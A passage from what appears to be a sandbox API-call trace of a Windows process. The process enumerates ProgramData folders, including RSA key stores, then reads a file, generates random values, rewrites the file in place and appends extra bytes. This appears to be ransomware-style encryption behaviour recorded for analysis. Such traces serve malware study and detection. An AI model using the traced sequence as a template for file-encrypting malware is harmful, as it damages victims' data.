_Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*" [0091.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0091.341] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86fd0 [0091.342] wcscmp (_String1=".", _String2=".") returned 0 [0091.342] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.342] wcscmp (_String1="..", _String2=".") returned 1 [0091.342] wcscmp (_String1="..", _String2="..") returned 0 [0091.342] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.342] FindClose (in: hFindFile=0x1cd86fd0 | out: hFindFile=0x1cd86fd0) returned 1 [0091.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0091.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f70) returned 1 [0091.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd863d0) returned 1 Thread: id = 445 os_tid = 0xa28 [0091.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd863d0 [0091.345] wcscpy (in: _Dest=0x1cd863d0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0091.345] wcscat (in: _Dest=0x1cd863d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0091.345] wcscat (in: _Dest=0x1cd863d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*" [0091.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0091.345] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f70 [0091.345] wcscmp (_String1=".", _String2=".") returned 0 [0091.345] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.345] wcscmp (_String1="..", _String2=".") returned 1 [0091.345] wcscmp (_String1="..", _String2="..") returned 0 [0091.345] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0091.345] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0091.345] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0091.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0xeb290 [0091.345] wcscpy (in: _Dest=0xeb290, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0091.345] wcscat (in: _Dest=0xeb290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0091.345] wcscat (in: _Dest=0xeb290, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" [0097.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0xeb290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0097.246] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0097.246] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0097.246] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0097.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c19c0 [0097.246] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0097.246] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0097.246] wcscat (in: _Dest=0x1b7c19c0, _Source="S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0097.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1260 [0097.247] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0097.247] FindClose (in: hFindFile=0x1cd86f70 | out: hFindFile=0x1cd86f70) returned 1 [0097.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0097.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd863d0) returned 1 [0097.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 Thread: id = 446 os_tid = 0x618 [0091.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86fd0 [0091.346] wcscpy (in: _Dest=0x1cd86fd0, _Source="C:\\ProgramData\\Microsoft\\eHome\\logs" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs" [0091.346] wcscat (in: _Dest=0x1cd86fd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs\\") returned="C:\\ProgramData\\Microsoft\\eHome\\logs\\" [0091.346] wcscat (in: _Dest=0x1cd86fd0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs\\*") returned="C:\\ProgramData\\Microsoft\\eHome\\logs\\*" [0091.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55e10 [0091.346] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c70 [0091.347] wcscmp (_String1=".", _String2=".") returned 0 [0091.347] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.347] wcscmp (_String1="..", _String2=".") returned 1 [0091.347] wcscmp (_String1="..", _String2="..") returned 0 [0091.347] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.347] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0091.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55e10) returned 1 [0091.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86fd0) returned 1 [0091.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 Thread: id = 447 os_tid = 0x488 [0091.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0xeb450 [0091.349] wcscpy (in: _Dest=0xeb450, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0091.349] wcscat (in: _Dest=0xeb450, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\" [0091.349] wcscat (in: _Dest=0xeb450, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*" [0091.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55e10 [0091.349] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86fd0 [0091.351] wcscmp (_String1=".", _String2=".") returned 0 [0091.351] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.352] wcscmp (_String1="..", _String2=".") returned 1 [0091.352] wcscmp (_String1="..", _String2="..") returned 0 [0091.352] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0091.352] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0091.352] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0091.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adf20 [0091.352] wcscpy (in: _Dest=0x1b7adf20, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0091.352] wcscat (in: _Dest=0x1b7adf20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\" [0091.352] wcscat (in: _Dest=0x1b7adf20, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0096.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7adf20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0096.831] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0096.831] FindClose (in: hFindFile=0x1cd86fd0 | out: hFindFile=0x1cd86fd0) returned 1 [0096.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55e10) returned 1 [0096.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb450) returned 1 [0096.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86790) returned 1 Thread: id = 448 os_tid = 0xb40 [0091.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20 [0091.353] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1 [0091.353] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd78 [0091.353] GetFileSizeEx (in: hFile=0xd78, lpFileSize=0x1e7af840 | out: lpFileSize=0x1e7af840*=14972) returned 1 [0091.353] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.353] ReadFile (in: hFile=0xd78, lpBuffer=0x1e7af7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e7af808, lpOverlapped=0x0 | out: lpBuffer=0x1e7af7c0*, lpNumberOfBytesRead=0x1e7af808*=0x4, lpOverlapped=0x0) returned 1 [0091.360] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0091.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0091.361] NtQuerySystemTime (in: CurrentTime=0x1e7af700 | out: CurrentTime=0x1e7af700*=132462176972110000) returned 0x0 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x576e88a0 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x51c8e2cc [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x25a90e4a [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x3b607212 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x574f5b25 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x20905310 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x6aea801f [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x6dd47f3f [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x3fe00d60 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x4cd2c266 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x446a2a92 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x2858e00f [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x3d95d6aa [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x31e2470 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x6b54c73a [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x3927f600 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x1d407373 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x50ca2c46 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x3a945389 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x5f965dc2 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x476d6812 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x762a3961 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x6041c0c2 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x1bb99eff [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x65472742 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x6d9f264 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x4b94d145 [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x725a13ec [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x2610635a [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x5e8e181b [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x16ed3efe [0091.361] RtlRandomEx (in: Seed=0x1e7af6f0 | out: Seed=0x1e7af6f0) returned 0x5c7ce17e [0091.368] ReadFile (in: hFile=0xd78, lpBuffer=0x2016e130, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x1e7af6f0, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesRead=0x1e7af6f0*=0x3a7c, lpOverlapped=0x0) returned 1 [0091.387] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.387] WriteFile (in: hFile=0xd78, lpBuffer=0x20171d40*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x1e7af6f4, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesWritten=0x1e7af6f4*=0x3a7c, lpOverlapped=0x0) returned 1 [0101.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0101.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0101.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0101.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0101.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0101.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 [0101.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c850) returned 1 [0101.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202623c0 [0101.374] SetFilePointerEx (in: hFile=0xd78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.374] WriteFile (in: hFile=0xd78, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x1e7af810, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x1e7af810*=0x106, lpOverlapped=0x0) returned 1 [0102.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0102.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0102.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0102.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0102.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0102.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0102.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261250 [0102.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261250) returned 1 [0102.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0102.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0102.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ef30 [0102.050] sprintf (in: _Dest=0x1cd9ef30, _Format="%c%c" | out: _Dest="1e") returned 2 [0102.050] sprintf (in: _Dest=0x1cd9ef32, _Format="%c%c" | out: _Dest="fe") returned 2 [0102.050] sprintf (in: _Dest=0x1cd9ef34, _Format="%c%c" | out: _Dest="e2") returned 2 [0102.050] sprintf (in: _Dest=0x1cd9ef36, _Format="%c%c" | out: _Dest="ba") returned 2 [0102.050] sprintf (in: _Dest=0x1cd9ef38, _Format="%c%c" | out: _Dest="33") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef3a, _Format="%c%c" | out: _Dest="54") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef3c, _Format="%c%c" | out: _Dest="2f") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef3e, _Format="%c%c" | out: _Dest="7a") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef40, _Format="%c%c" | out: _Dest="82") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef42, _Format="%c%c" | out: _Dest="05") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef44, _Format="%c%c" | out: _Dest="69") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef46, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef48, _Format="%c%c" | out: _Dest="d0") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef4a, _Format="%c%c" | out: _Dest="12") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef4c, _Format="%c%c" | out: _Dest="20") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef4e, _Format="%c%c" | out: _Dest="a8") returned 2 [0102.051] sprintf (in: _Dest=0x1cd9ef50, _Format="%c%c" | out: _Dest="5b") returned 2 [0102.051] 